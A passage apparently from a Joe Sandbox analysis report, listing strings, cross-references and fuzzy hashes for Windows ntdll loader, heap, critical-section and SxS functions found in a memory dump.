The critical section is owned by thread %p., xrefs: 016189E9
This means the data could not be read, typically because of a bad block on the disk. Check your hardware., xrefs: 01618AAD
The instruction at %p referenced memory at %p., xrefs: 01618A62
The stack trace should show the guilty function (the function directly above __report_gsfailure)., xrefs: 01618953
If this bug ends up in the shipping product, it could be a severe security hole., xrefs: 01618944
The critical section is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 01618A06

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: *** A stack buffer overrun occurred in %ws:%s$ *** An Access Violation occurred in %ws:%s$ *** Critical Section Timeout (%p) in %ws:%s$ *** Inpage error in %ws:%s$ *** Resource timeout (%p) in %ws:%s$ *** Unhandled exception 0x%08lx, hit in %ws:%s$ *** enter .cxr %p for the context$ *** Restarting wait on critsec or resource at %p (in %ws:%s)$ *** enter .exr %p for the exception record$ *** then kb to get the faulting stack$<unknown>$Go determine why that thread has not released the critical section.$If this bug ends up in the shipping product, it could be a severe security hole.$The critical section is owned by thread %p.$The critical section is unowned. This usually implies a slow-moving machine due to memory pressure$The instruction at %p referenced memory at %p.$The instruction at %p tried to %s $The resource is owned exclusively by thread %p$The resource is owned shared by %d threads$The resource is unowned. This usually implies a slow-moving machine due to memory pressure$The stack trace should show the guilty function (the function directly above __report_gsfailure).$This failed because of error %Ix.$This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked.$This means that the I/O device reported an I/O error. Check your hardware.$This means the data could not be read, typically because of a bad block on the disk. Check your hardware.$This means the machine is out of memory. Use !vm to see where all the memory is being used.$a NULL pointer$an invalid address, %p$read from$write to
API String ID: 0-108210295
Opcode ID: 42c0ae96334f88b3b52bb58fae988474b1f94d5498d9ad38fb9523e9f606ec4b
Instruction ID: f1121b028f5c2a580d4b368090fe93bf2b68eb021f6433a78c54e7df95091499
Opcode Fuzzy Hash: 42c0ae96334f88b3b52bb58fae988474b1f94d5498d9ad38fb9523e9f606ec4b
Instruction Fuzzy Hash: 32814871A00201BFDBA69B09DC5AD6B3B79FF96B50F080849F9182F21FD3659412CB62

Function 01598540 Relevance: 17.7, Strings: 14, Instructions: 223COMMON

Download Yara Rule

Strings

double initialized or corrupted critical section, xrefs: 015D5313
undeleted critical section in freed memory, xrefs: 015D5236
Critical section address, xrefs: 015D5230, 015D52C7, 015D533F
8, xrefs: 015D50EE
Second initialization stack trace. Use dps to dump it if non-NULL., xrefs: 015D52D9
Thread identifier, xrefs: 015D5345
Critical section debug info address, xrefs: 015D522A, 015D5339
First initialization stack trace. Use dps to dump it if non-NULL., xrefs: 015D52ED
Critical section address., xrefs: 015D530D
Invalid debug info address of this critical section, xrefs: 015D52C1
Initialization stack trace. Use dps to dump it if non-NULL., xrefs: 015D5215, 015D52A1, 015D5324
corrupted critical section, xrefs: 015D52CD
Address of the debug info found in the active list., xrefs: 015D52B9, 015D5305
Thread is in a state in which it cannot own a critical section, xrefs: 015D534E

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: 8$Address of the debug info found in the active list.$Critical section address$Critical section address.$Critical section debug info address$First initialization stack trace. Use dps to dump it if non-NULL.$Initialization stack trace. Use dps to dump it if non-NULL.$Invalid debug info address of this critical section$Second initialization stack trace. Use dps to dump it if non-NULL.$Thread identifier$Thread is in a state in which it cannot own a critical section$corrupted critical section$double initialized or corrupted critical section$undeleted critical section in freed memory
API String ID: 0-2368682639
Opcode ID: 45c4b1fbcb4b4eb3e69d605eb6f4541fe79d1fd2a4c886450b2e5416fd9c5d21
Instruction ID: 75e9db1e7ef6f9824f9157f4235b03d80b93c49f6fb47647dc13fef3e28f999f
Opcode Fuzzy Hash: 45c4b1fbcb4b4eb3e69d605eb6f4541fe79d1fd2a4c886450b2e5416fd9c5d21
Instruction Fuzzy Hash: 30818C71A41359AFDB20CF99CC41BAEBBF5FB48B14F20415AF945BB240D7B1A944CB60

Function 01592919 Relevance: 14.2, Strings: 11, Instructions: 411COMMON

Download Yara Rule

Strings

SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p, xrefs: 015D20EE
SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx, xrefs: 015D242E
SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx, xrefs: 015D22A2
SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx, xrefs: 015D2213
SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries, xrefs: 015D22CA
RtlpResolveAssemblyStorageMapEntry, xrefs: 015D2429
SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx, xrefs: 015D221C
@, xrefs: 015D23A5
SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx, xrefs: 015D240C
SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx, xrefs: 015D23F5
SXS: Attempt to translate DOS path name "%S" to NT format failed, xrefs: 015D2310

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: @$RtlpResolveAssemblyStorageMapEntry$SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx$SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p$SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx$SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx$SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx$SXS: Attempt to translate DOS path name "%S" to NT format failed$SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx$SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx$SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries
API String ID: 0-4009184096
Opcode ID: 3b5b64232ca14c1c621e121150f98a980f336d1fbdbf65dfb2997b1510e9db68
Instruction ID: a2639f5685f2cd974456b051a5951c27d97e6a565fb4bf69a42b302f142a6f1f
Opcode Fuzzy Hash: 3b5b64232ca14c1c621e121150f98a980f336d1fbdbf65dfb2997b1510e9db68
Instruction Fuzzy Hash: 5C024EB1D00229ABDF31DB58CC81BEDB7B9BB54304F4045D9E609AB241DB709E84CF99

Function 016086C2 Relevance: 12.6, Strings: 10, Instructions: 146COMMON

Download Yara Rule

Strings

smss.exe, xrefs: 0160870B
heapType, xrefs: 0160874B
DefaultBrowser_NOPUBLISHERID, xrefs: 01608880
http://schemas.microsoft.com/SMI/2020/WindowsSettings, xrefs: 01608750
svchost.exe, xrefs: 016086E8
lsass.exe, xrefs: 01608721
SegmentHeap, xrefs: 01608769
runtimebroker.exe, xrefs: 016086F3
csrss.exe, xrefs: 01608700
services.exe, xrefs: 01608716

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: DefaultBrowser_NOPUBLISHERID$SegmentHeap$csrss.exe$heapType$http://schemas.microsoft.com/SMI/2020/WindowsSettings$lsass.exe$runtimebroker.exe$services.exe$smss.exe$svchost.exe
API String ID: 0-2515994595
Opcode ID: 399977e4f76841102342593fa8dcfdd4b1dba781962668427ec68a63904ff641
Instruction ID: 13529e8a1715eb81cb16510fafbd4888f3e80e6db7f35cedad9ca16f2656dd50
Opcode Fuzzy Hash: 399977e4f76841102342593fa8dcfdd4b1dba781962668427ec68a63904ff641
Instruction Fuzzy Hash: B951B2B19043169BD32ADF189D44BABBBECFFC8650F05491DFA9987281E770D604CB92

Function 01610835 Relevance: 10.4, Strings: 8, Instructions: 402COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 016109E1, 01610A42, 01610B55, 01610BDE, 01610CA4, 01610CF8
Total size of free blocks in arena (%Id) does not match number total in heap header (%Id), xrefs: 01610BEF
Non-Dedicated free list element %p is out of order, xrefs: 016109ED
Tag %04x (%ws) size incorrect (%Ix != %Ix) %p, xrefs: 01610D12
Pseudo Tag %04x size incorrect (%Ix != %Ix) %p, xrefs: 01610CBD
dedicated (%04Ix) free list element %p is marked busy, xrefs: 01610A51
HEAP[%wZ]: , xrefs: 016109D4, 01610A35, 01610B48, 01610BD1, 01610C97, 01610CEB
Number of free blocks in arena (%ld) does not match number in the free lists (%ld), xrefs: 01610B64

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Non-Dedicated free list element %p is out of order$Number of free blocks in arena (%ld) does not match number in the free lists (%ld)$Pseudo Tag %04x size incorrect (%Ix != %Ix) %p$Tag %04x (%ws) size incorrect (%Ix != %Ix) %p$Total size of free blocks in arena (%Id) does not match number total in heap header (%Id)$dedicated (%04Ix) free list element %p is marked busy
API String ID: 0-1357697941
Opcode ID: 10b50c124ff3dab7f1ee3614beb89a559920f76da03aacc2aed77bbd317fadf8
Instruction ID: ebc52cfab94757d32b1c78967434517eac14f8f18dacf6da1ae21c20af97bc85
Opcode Fuzzy Hash: 10b50c124ff3dab7f1ee3614beb89a559920f76da03aacc2aed77bbd317fadf8
Instruction Fuzzy Hash: D8F11431A10246EFDF25CF68C894BBABBF5FF09304F08845AF9859B256D731A985CB50

Function 015F8D0A Relevance: 10.4, Strings: 8, Instructions: 401COMMON

Download Yara Rule

Strings

AppContainerNamedObjects, xrefs: 015F8FFF, 015F9067
BaseNamedObjects, xrefs: 015F9008, 015F900D
\AppContainerNamedObjects, xrefs: 015F903C, 015F904A
%s\%u-%u-%u-%u, xrefs: 015F8FB3
\Sessions, xrefs: 015F9019
\BaseNamedObjects, xrefs: 015F902F
%s\%ld\%s, xrefs: 015F901E
Global\Session\%ld%s, xrefs: 015F9056

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: %s\%ld\%s$%s\%u-%u-%u-%u$AppContainerNamedObjects$BaseNamedObjects$Global\Session\%ld%s$\AppContainerNamedObjects$\BaseNamedObjects$\Sessions
API String ID: 0-3063724069
Opcode ID: 645df7b6875621c36106df9b34a01a658f57a9e7899f50c2a2abe45f61d47ab9
Instruction ID: 3191e0eee05888413850e2b589b3a6769965fc48b9cd31a3986166259bf0c1ba
Opcode Fuzzy Hash: 645df7b6875621c36106df9b34a01a658f57a9e7899f50c2a2abe45f61d47ab9
Instruction Fuzzy Hash: 7ED1A272804B56AFD721DA148844F6FBAE8BFD4718F040A2DFF589F144E771D94487A2

Function 015E8633 Relevance: 9.0, Strings: 7, Instructions: 259COMMON

Download Yara Rule

Strings

VerifierDebug, xrefs: 015E8925
AVRF: -*- final list of providers -*- , xrefs: 015E880F
AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled, xrefs: 015E86BD
VerifierDlls, xrefs: 015E893D
HandleTraces, xrefs: 015E890F
VerifierFlags, xrefs: 015E88D0
AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error., xrefs: 015E86E7

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error.$AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled$AVRF: -*- final list of providers -*- $HandleTraces$VerifierDebug$VerifierDlls$VerifierFlags
API String ID: 0-3223716464
Opcode ID: 9dee9e6bace83e18fa8184358aa45fc327598891c9063dbf2d5b8ed94511ca0b
Instruction ID: 5ac028e0f7dd6fae6e8c713e166a1a03a3593562eaea156e90f7fbd99991c5cd
Opcode Fuzzy Hash: 9dee9e6bace83e18fa8184358aa45fc327598891c9063dbf2d5b8ed94511ca0b
Instruction Fuzzy Hash: 24914572E44713AFD729DF289C98B1ABBE4BB80754F054859FE81AF241C730AC04CB92

Function 015E4A57 Relevance: 8.8, Strings: 7, Instructions: 86COMMON

Download Yara Rule

Strings

***Exception thrown within loader***, xrefs: 015E4AA7
LdrpGenericExceptionFilter, xrefs: 015E4A7C
LdrpProtectedCopyMemory, xrefs: 015E4A74
Execute '.cxr %p' to dump context, xrefs: 015E4B31
minkernel\ntdll\ldrutil.c, xrefs: 015E4A86
Break repeatedly, break Once, Ignore, terminate Process or terminate Thread (boipt)? , xrefs: 015E4AB8
Function %s raised exception 0x%08lxException record: .exr %pContext record: .cxr %p, xrefs: 015E4A75

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: ***Exception thrown within loader***$Break repeatedly, break Once, Ignore, terminate Process or terminate Thread (boipt)? $Execute '.cxr %p' to dump context$Function %s raised exception 0x%08lxException record: .exr %pContext record: .cxr %p$LdrpGenericExceptionFilter$LdrpProtectedCopyMemory$minkernel\ntdll\ldrutil.c
API String ID: 0-2973941816
Opcode ID: f0aaee2add4fde436ae0a6d2ea485b69694ec26447c45535d82d1d56b5793bde
Instruction ID: d4ac4e40ef4e14e7c676b0f984b7afcd820b93b131f2e53f3667234c230bdcbd
Opcode Fuzzy Hash: f0aaee2add4fde436ae0a6d2ea485b69694ec26447c45535d82d1d56b5793bde
Instruction Fuzzy Hash: 8B218B77E441067BEB2CDA6E9C4DE3E7BEAFB91578F140905F221DF590C6A0DA00C218

Function 0156E9A0 Relevance: 8.6, Strings: 6, Instructions: 1073COMMON

Download Yara Rule

Strings

T, xrefs: 0156EA6E
LdrpResSearchResourceInsideDirectory Enter, xrefs: 0156EA78
, xrefs: 0156F1B9
{, xrefs: 015C4447
R, xrefs: 0156EA82
LdrpResSearchResourceInsideDirectory Exit, xrefs: 0156EA8C

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: $LdrpResSearchResourceInsideDirectory Enter$LdrpResSearchResourceInsideDirectory Exit$R$T${
API String ID: 0-1109411897
Opcode ID: 0fc6457e05cb316345c023360b61ffb3a90fb851f6c6466ae059f7e3add65028
Instruction ID: a10adf6475422747080b536e9db55ce53f0debf103627e195900949618c701ba
Opcode Fuzzy Hash: 0fc6457e05cb316345c023360b61ffb3a90fb851f6c6466ae059f7e3add65028
Instruction Fuzzy Hash: 84A22974E0562A8FDF64CF58C8A8BADBBB5BF44714F1442DAD919AB250DB309E81CF40

Function 0156AD00 Relevance: 8.1, Strings: 6, Instructions: 573COMMON

Download Yara Rule

Strings

MUI, xrefs: 0156B330
J, xrefs: 0156ADCE
#, xrefs: 015C3444
H, xrefs: 0156ADE2
LdrpResSearchResourceMappedFile Enter, xrefs: 0156ADD8
LdrpResSearchResourceMappedFile Exit, xrefs: 0156ADEC

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: #$H$J$LdrpResSearchResourceMappedFile Enter$LdrpResSearchResourceMappedFile Exit$MUI
API String ID: 0-4098886588
Opcode ID: 2f8a76c553fe2cb80139eabcdc8cd3d4e4475556ddf06676351fc7756098dc94
Instruction ID: 33447f06e5ca29bd6c42f1a47efb7ccdaeaf9c1c54d3c8817cc27a44bc04a4f7
Opcode Fuzzy Hash: 2f8a76c553fe2cb80139eabcdc8cd3d4e4475556ddf06676351fc7756098dc94
Instruction Fuzzy Hash: 5B329F70A042698FDB62CF58CC94BAEBBB9BF44740F1445EAD859AF251D7319E81CF80

Function 0159631F Relevance: 7.8, Strings: 6, Instructions: 261COMMON

Download Yara Rule

Strings

NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop, xrefs: 015D4009
LDR:MRDATA: Process initialization failed with status 0x%08lx, xrefs: 015D3EE3
_LdrpInitialize, xrefs: 015D3EEA, 015D3F4C, 015D4010, 015D406A
minkernel\ntdll\ldrinit.c, xrefs: 015D3EF4, 015D3F56, 015D401A, 015D4074
Delaying execution failed with status 0x%08lx, xrefs: 015D4063
Process initialization failed with status 0x%08lx, xrefs: 015D3F45

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: Delaying execution failed with status 0x%08lx$LDR:MRDATA: Process initialization failed with status 0x%08lx$NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop$Process initialization failed with status 0x%08lx$_LdrpInitialize$minkernel\ntdll\ldrinit.c
API String ID: 0-792281065
Opcode ID: c8ea3513d2ddf725c42d8aa880e928373bd189245540eb6df4efa859e4261dab
Instruction ID: d477972f391c40e67912a3c764764431c5ab00ecfe02db3844d18780de4bc12b
Opcode Fuzzy Hash: c8ea3513d2ddf725c42d8aa880e928373bd189245540eb6df4efa859e4261dab
Instruction Fuzzy Hash: A0913571A41316DBEB35DF5CDC49BAE7BA1FB80B24F040129EA166F281D7749801CB96

Function 0155640D Relevance: 7.6, Strings: 6, Instructions: 150COMMON

Download Yara Rule

Strings

Loading the shim engine DLL failed with status 0x%08lx, xrefs: 015B97B9
Getting the shim engine exports failed with status 0x%08lx, xrefs: 015B9790
Building shim engine DLL system32 filename failed with status 0x%08lx, xrefs: 015B977C
minkernel\ntdll\ldrinit.c, xrefs: 015B97A0, 015B97C9
apphelp.dll, xrefs: 01556446
LdrpInitShimEngine, xrefs: 015B9783, 015B9796, 015B97BF

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: Building shim engine DLL system32 filename failed with status 0x%08lx$Getting the shim engine exports failed with status 0x%08lx$LdrpInitShimEngine$Loading the shim engine DLL failed with status 0x%08lx$apphelp.dll$minkernel\ntdll\ldrinit.c
API String ID: 0-204845295
Opcode ID: 86b96a300e6764e9937271603aa6aa161263c3725a2aac6411a3e9e6617cdf50
Instruction ID: 538c81840876926a453291f6bd482297c784cf68727daf816b2a5b6e1efe684d
Opcode Fuzzy Hash: 86b96a300e6764e9937271603aa6aa161263c3725a2aac6411a3e9e6617cdf50
Instruction Fuzzy Hash: C15190B16483469BE324DF24DC91EAB7BE5FB84748F40091EFA959F260D630D904CB92

Function 0159C5C6 Relevance: 7.6, Strings: 6, Instructions: 110COMMON

Download Yara Rule

Strings

Unable to build import redirection Table, Status = 0x%x, xrefs: 015D7FF0
minkernel\ntdll\ldrinit.c, xrefs: 0159C5E3
LdrpInitializeImportRedirection, xrefs: 015D7F82, 015D7FF6
minkernel\ntdll\ldrredirect.c, xrefs: 015D7F8C, 015D8000
LdrpInitializeProcess, xrefs: 0159C5E4
Loading import redirection DLL: '%wZ', xrefs: 015D7F7B

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: LdrpInitializeImportRedirection$LdrpInitializeProcess$Loading import redirection DLL: '%wZ'$Unable to build import redirection Table, Status = 0x%x$minkernel\ntdll\ldrinit.c$minkernel\ntdll\ldrredirect.c
API String ID: 0-475462383
Opcode ID: 08295edb9d07e23b899de5598a9d7bfe261d042c7f3a46216c8376c1cfe88ca9
Instruction ID: ab32de62483840cc350dd1d3bcf5a64ae4e0823cbabce58611604b67c3df4c02
Opcode Fuzzy Hash: 08295edb9d07e23b899de5598a9d7bfe261d042c7f3a46216c8376c1cfe88ca9
Instruction Fuzzy Hash: 5931BF71A443439BC324EF29DC46E2ABBD4FFD4B14F000558F985AF291D660ED04CBA2

Function 01592594 Relevance: 7.6, Strings: 6, Instructions: 110COMMON

Download Yara Rule

Strings

SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p, xrefs: 015D1FC9
SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx, xrefs: 015D1F82
RtlGetAssemblyStorageRoot, xrefs: 015D1F6A, 015D1FA4, 015D1FC4
SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx, xrefs: 015D1FA9
SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx, xrefs: 015D1F8A
SXS: %s() passed the empty activation context, xrefs: 015D1F6F

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: RtlGetAssemblyStorageRoot$SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p$SXS: %s() passed the empty activation context$SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx$SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx
API String ID: 0-861424205
Opcode ID: e79fed22683b480a5fc5c1aceb208d2215f006eb7fdf3f7526972b79f4804ead
Instruction ID: 12409ab389a3d560c67ff575305b7d3865040907770b9c99141d69870d596dab
Opcode Fuzzy Hash: e79fed22683b480a5fc5c1aceb208d2215f006eb7fdf3f7526972b79f4804ead
Instruction Fuzzy Hash: B831F672F002167BFB208A9ADC85F5F7AA8FB64A54F044499BA117F245C770EE00C7E6

Function 015E4BC0 Relevance: 6.5, Strings: 5, Instructions: 246COMMON

Download Yara Rule

Strings

/, xrefs: 015E4BED
.Local, xrefs: 015E4DF0
\, xrefs: 015E4BE6
.DLL, xrefs: 015E4D47, 015E4E1C
\microsoft.system.package.metadata\Application, xrefs: 015E4DD8

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: .DLL$.Local$/$\$\microsoft.system.package.metadata\Application
API String ID: 0-2518169356
Opcode ID: cb81da22a8c93c624436a7f2ff42a9bb17c0e258635e5a81b227ce5c9b1ac835
Instruction ID: 0ccf3fb1ac91d50d9bb9186074e52f4ebe7c816a2df2ef3c61d025d4f5dcbe9c
Opcode Fuzzy Hash: cb81da22a8c93c624436a7f2ff42a9bb17c0e258635e5a81b227ce5c9b1ac835
Instruction Fuzzy Hash: 9891C172D0062A9BCB29CF5CC885AAEB7F4FF88310F5945A9E815EB350E735D911CB90

Function 0156A2E0 Relevance: 5.3, Strings: 4, Instructions: 290COMMON

Download Yara Rule

Strings

6, xrefs: 0156A317
LdrResFallbackLangList Exit, xrefs: 0156A31F
8, xrefs: 0156A307
LdrResFallbackLangList Enter, xrefs: 0156A30F

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: 6$8$LdrResFallbackLangList Enter$LdrResFallbackLangList Exit
API String ID: 0-379654539
Opcode ID: 20f0004c234ec4eb091809c8dc127e0ebea9ecce63506c857d6fa4857183e116
Instruction ID: 91a9465003dee09d747d69d3db0f3f704978bb76e45327381d3c64aa5cf01ad2
Opcode Fuzzy Hash: 20f0004c234ec4eb091809c8dc127e0ebea9ecce63506c857d6fa4857183e116
Instruction Fuzzy Hash: 01C16874208382CFD721CF58C440B6AB7E8BF85704F04896EF996AF251E774D94ACB96

Function 01598322 Relevance: 5.3, Strings: 4, Instructions: 263COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrinit.c, xrefs: 01598341
LdrpInitializeProcess, xrefs: 01598342
@, xrefs: 015984B1
\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers, xrefs: 0159847E

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: @$LdrpInitializeProcess$\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers$minkernel\ntdll\ldrinit.c
API String ID: 0-1918872054
Opcode ID: 6cc77489d95a8b92aea6c23b57268f8d0b8d7db8ffa7e37a9fd09c2744e88be5
Instruction ID: 7782f33f0dbccc2dbd35ec40b60cc88f2937ff97c7fddc17911d702689e851c0
Opcode Fuzzy Hash: 6cc77489d95a8b92aea6c23b57268f8d0b8d7db8ffa7e37a9fd09c2744e88be5
Instruction Fuzzy Hash: C8919B7124834AAFDB21DE24CC45EAFBBECBF85644F40092EF6899A151E374D904CB63

Function 01570B10 Relevance: 5.3, Strings: 4, Instructions: 260COMMON

Download Yara Rule

Strings

((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock)), xrefs: 015C52FA
ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock, xrefs: 015C53BB
HEAP: , xrefs: 015C52ED, 015C53AE
HEAP[%wZ]: , xrefs: 015C52DE, 015C539F

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: ((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock))$HEAP: $HEAP[%wZ]: $ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock
API String ID: 0-1657114761
Opcode ID: 81ed6265b373b9c44d698199407a0a38f8cb8112cbb24d5bf7007b5b29cb2041
Instruction ID: 1d893d21ad81b69e9a88d6120f03179562a8ef99eb85304a24439d856c216032
Opcode Fuzzy Hash: 81ed6265b373b9c44d698199407a0a38f8cb8112cbb24d5bf7007b5b29cb2041
Instruction Fuzzy Hash: 4BA1EF306003069ED724CF68D852BBAFBF5BF56704F14896DE48A8F682E374A944C791

Function 0159265C Relevance: 5.2, Strings: 4, Instructions: 249COMMON

Download Yara Rule

Strings

RtlpGetActivationContextDataStorageMapAndRosterHeader, xrefs: 015D1FE3, 015D20BB
.Local, xrefs: 015927F8
SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p, xrefs: 015D20C0
SXS: %s() passed the empty activation context, xrefs: 015D1FE8

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: .Local$RtlpGetActivationContextDataStorageMapAndRosterHeader$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p$SXS: %s() passed the empty activation context
API String ID: 0-1239276146
Opcode ID: 1ac6db792c0be2bfe0de17dd89752e97e52bb8cdeaea3a2611f5650f7febb4f0
Instruction ID: b9715c9a6cb043b4ae02be781f8862cb067d089ec48ab96002d21a34fa185dd9
Opcode Fuzzy Hash: 1ac6db792c0be2bfe0de17dd89752e97e52bb8cdeaea3a2611f5650f7febb4f0
